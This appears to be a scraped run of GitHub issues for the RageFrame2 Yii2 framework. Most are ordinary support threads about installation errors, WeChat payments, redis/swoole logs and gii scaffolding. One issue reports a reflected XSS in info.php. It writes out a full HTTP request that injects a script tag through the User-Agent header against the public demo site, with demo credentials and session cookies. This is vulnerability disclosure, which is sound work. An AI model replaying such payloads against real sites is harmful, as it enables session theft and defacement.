一个基于Yii2高级框架的快速开发应用引擎

1.在你这个微信开发到底是在后台配置参数还是在配置文件里配置? 2.代码有点凌乱，搞个微信开发，各种问题层出不穷，session是用_wechatUser获取微信用户参数，还是wechatUser? 3.你这边微信这个你自己试过了么，如果你自己都没有把握，那我还是不用你这个项目了，我找其他项目做微信开发

PHP Warning: require(/www/wwwroot/mall.baisoft.co/rageframe2/vendor/autoload.php): failed to open stream: No such file or directory in /www/wwwroot/mall.baisoft.co/rageframe2/yii on line 10

Warning: require(/www/wwwroot/mall.baisoft.co/rageframe2/vendor/autoload.php): failed to open stream: No such file or directory in /www/wwwroot/mall.baisoft.co/rageframe2/yii on line 10 PHP Fatal error: require(): Failed opening required '/www/wwwroot/mall.baisoft.co/rageframe2/vendor/autoload.php' (include_path='.:/www/server/php/55/lib/php') in /www/wwwroot/mall.baisoft.co/rageframe2/y ii on line 10

Fatal error: require(): Failed opening required '/www/wwwroot/mall.baisoft.co/rageframe2/vendor/autoload.php' (include_path='.:/www/server/php/55/lib/php') in /www/wwwroot/mall.baisoft.co/rageframe2/yii on line 10

发现没有这个目录：vendor

Hey there!

I belong to an open source security research community, and a member (@asura-n) has found an issue, but doesn’t know the best way to disclose it.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

公众号可通过本接口来获取帐号的关注者列表，关注者列表由一串OpenID（加密后的微信号，每个用户对每个公众号的OpenID是唯一的）组成。一次拉取调用最多拉取10000个关注者的OpenID，可以通过多次拉取的方式来满足需求。

目前设计没有考虑到, 单次拉取只能是10000个关注者, 当关注者超过2万个时, 后面一个关注者数据无法获取.

1、後臺有沒有幫助說明 2、找不到說明，研究了一下，裝好了商戶，打開商戶註冊，但註冊進來的用戶，是未授權的狀態，如果在後臺裏增加用戶，就可以選擇角色。（這一點，也不確定是不是後臺創建的角色，如果沒有角色就是不行的，但如果沒有角色，是否讓註冊） 3、後臺也沒有對用戶，設定角色的功能。 4、商戶的用戶登陸進來，沒有微商城的入口，找到商家配置裏有，但不知道如何增加微商城的功能，同時也不知道，是不是每個商戶增加的商品是屬該商戶自己所有。 暫時發現這時問題，希望這個系統能用進來。

$response = Yii::$app->wechat->payment->handlePaidNotify(function ($message, $fail) { // 你的逻辑 return true; // 或者错误消息 $fail('Order not exists.'); }); $response->send();

$response = Yii::$app->pay->wechat->notify(); //var_dump($response);exit; if ($response->isPaid())//一直返回false，支付是成功的 { //pay success 注意微信会发二次消息过来 需要判断是通知还是回调 var_dump($response->getRequestData());

        // 成功通知
        return PayHelper::notifyWechatSuccess();
    }
    else
    {
        // 失败通知
        return PayHelper::notifyWechatFail();
    }

使用rageframe2框架加swoole开发的平台和线下机器交互，线下机器会向服务器推送数据。线下机器在每天会在夜里2点钟定时重启，重启之后就无法与服务器连接，报错 “mb_strlen() expects parameter 1 to be string, array given”，必须手动重启swoole。以下是错误日志：

2020-09-27 02:01:10 修改fd信息：-----mb_strlen() expects parameter 1 to be string, array given^M 2020-09-27 02:01:10 修改fd信息：-----mb_strlen() expects parameter 1 to be string, array given^M 2020-09-27 02:01:10 修改fd信息：-----mb_strlen() expects parameter 1 to be string, array given^M 2020-09-27 02:01:10 yii\db\Exception Object ( [errorInfo] => Array ( )

[message:protected] => Received illegal data from redis: ated_at

Redis command was: EVAL local allpks=redis.call('LRANGE','cabinet_fd',0,-1) local pks={} local n=0 local v=nil local i=0 local key='cabinet_fd' for k,pk in ipairs(allpks) do local cfd0=redis.call('HGET','cabinet_fd' .. ':a:' .. pk, 'fd')

if cfd0=='146' then
  i=i+1
  if i>0 then
    do return redis.call('HGETALL','cabinet_fd:a:' .. pk) end
  end
end

end return pks 0 [string:Exception:private] => [code:protected] => 0 [file:protected] => /www/wwwroot/power/vendor/yiisoft/yii2-redis/src/Connection.php [line:protected] => 856 [trace:Exception:private] => Array ( [0] => Array ( [file] => /www/wwwroot/power/vendor/yiisoft/yii2-redis/src/Connection.php [line] => 851 [function] => parseResponse [class] => yii\redis\Connection [type] => -> [args] => Array ( [0] => Array ( [0] => EVAL [1] => local allpks=redis.call('LRANGE','cabinet_fd',0,-1) local pks={} local n=0 local v=nil local i=0 local key='cabinet_fd' for k,pk in ipairs(allpks) do local cfd0=redis.call('HGET','cabinet_fd' .. ':a:' .. pk, 'fd')

if cfd0=='146' then
  i=i+1
  if i>0 then
    do return redis.call('HGETALL','cabinet_fd:a:' .. pk) end
  end
end

end return pks [2] => 0 )

                    )

            )

        [1] => Array
            (
                [file] => /www/wwwroot/power/vendor/yiisoft/yii2-redis/src/Connection.php
                [line] => 851
                [function] => parseResponse
                [class] => yii\redis\Connection
                [type] => ->
                [args] => Array
                    (
                        [0] => Array
                            (
                                [0] => EVAL
                                [1] => local allpks=redis.call('LRANGE','cabinet_fd',0,-1)

local pks={} local n=0 local v=nil local i=0 local key='cabinet_fd' for k,pk in ipairs(allpks) do local cfd0=redis.call('HGET','cabinet_fd' .. ':a:' .. pk, 'fd')

if cfd0=='146' then
  i=i+1
  if i>0 then
    do return redis.call('HGETALL','cabinet_fd:a:' .. pk) end
  end
end

end return pks [2] => 0 )

                    )

            )

        [2] => Array
            (
                [file] => /www/wwwroot/power/vendor/yiisoft/yii2-redis/src/Connection.php
                [line] => 796
                [function] => parseResponse
                [class] => yii\redis\Connection
                [type] => ->
                [args] => Array
                    (
                        [0] => Array
                            (
                                [0] => EVAL
                                [1] => local allpks=redis.call('LRANGE','cabinet_fd',0,-1)

local pks={} local n=0 local v=nil local v=nil local i=0 local key='cabinet_fd' for k,pk in ipairs(allpks) do local cfd0=redis.call('HGET','cabinet_fd' .. ':a:' .. pk, 'fd')

if cfd0=='146' then
  i=i+1
  if i>0 then
    do return redis.call('HGETALL','cabinet_fd:a:' .. pk) end
  end
end

end return pks [2] => 0 )

                    )

            )

        [2] => Array
            (
                [file] => /www/wwwroot/power/vendor/yiisoft/yii2-redis/src/Connection.php
                [line] => 796
                [function] => parseResponse
                [class] => yii\redis\Connection
                [type] => ->
                [args] => Array
                    (
                        [0] => Array
                            (
                                [0] => EVAL
                                [1] => local allpks=redis.call('LRANGE','cabinet_fd',0,-1)

local pks={} local n=0 local v=nil local i=0 local key='cabinet_fd' for k,pk in ipairs(allpks) do local cfd0=redis.call('HGET','cabinet_fd' .. ':a:' .. pk, 'fd')

if cfd0=='146' then
  i=i+1
  if i>0 then
    do return redis.call('HGETALL','cabinet_fd:a:' .. pk) end
  end
end

end return pks [2] => 0 )

                        [1] => *3^M

$4^M EVAL^M $371^M

当我按照文档git clone下载完项目，进入项目目录，命令行执行php composer.phar install，命令行一个小时都没有变化，只有两行提示语 Loading composer repositories with package information Updating dependencies (including require-dev)

我百度试了很多方法都没啥用，如 更新composer，清理composer缓存，更换composer源...

请问该如何才能快速的下载项目所依赖的包呢？

gii可以正常生成文件，但是访问的时候会报错

1、主键名称必须是“id”，其他的比如“xxx_id”会报错； 2、表里面必须包含字段“status”，否则需要改index视图文件； 3、common/components/Curd.php#161里面有一个查询条件andFilterWhere(['merchant_id' => $this->getMerchantId()])，不太懂加这个判断条件的作用是什么。

PHP Warning: require(/opt/rageframe2/vendor/autoload.php): failed to open stream: No such file or directory in /opt/rageframe2/yii on line 10 PHP Fatal error: require(): Failed opening required '/opt/rageframe2/vendor/autoload.php' (include_path='.:/usr/share/pear:/usr/share/php') in /opt/rageframe2/yii on line 10

Reflective Cross Site Scripting at info.php

1. I found that at line 50 of backend/common/system/info.php, Receive parameters without any filtering at $_SERVER['HTTP_USER_AGENT'].

2. This is an official demo site http://demo2.rageframe.com/backend [login:demo/123456], I use it directly to verify this vulnerability. Request info.php via route backend/common/system/info，Capture packets through burpsuit and modify user agent. The payload is as follows:

GET /backend/common/system/info HTTP/1.1
Host: demo2.rageframe.com
User-Agent: <script>alert('xss')</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: advanced-backend=q7hbabkafnfrp83q3j27282koj; _csrf-backend=f21cf822806330da09d827f33031aed2057badeedb2cb7e9d27b061ef13e3b1fa%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22_csrf-backend%22%3Bi%3A1%3Bs%3A32%3A%227bTiShE-5nCefANCrKRocM2TRpdPfsMW%22%3B%7D; _identity-backend=1abd9d20c81548f5bc6855b17d7f3892911371c4f3840ed0f4bee73e640ac5c1a%3A2%3A%7Bi%3A0%3Bs%3A17%3A%22_identity-backend%22%3Bi%3A1%3Bs%3A46%3A%22%5B2%2C%22xk29SFJDfewTmzBAObyXkpPZ30myMQr5%22%2C2592000%5D%22%3B%7D
Upgrade-Insecure-Requests: 1

3. Request url http://demo2.rageframe.com/backend/common/system/info, modify user agent to .

在后台端和商户端生成的HTML5地址时URL美化规则未生效.

插件名: ad

在后台端和商户端生成Html5地址:

生成地址为: http://a.com/html5/ad/qrcode/view?merchant_id=1&id=3 在html5端设置URL美化时: 'urlManager' => [ 'enablePrettyUrl' => true, 'showScriptName' => false, 'suffix' => '.html', 'rules' => [ 'q/<merchant_id:\d+>-<id:\d+>' => 'ad/qrcode/view', ], ], 生成的地址为: http://a.com/html5/q/1-3.html // 已成功. 后台生成html5网址时, 应该是返回重写地址.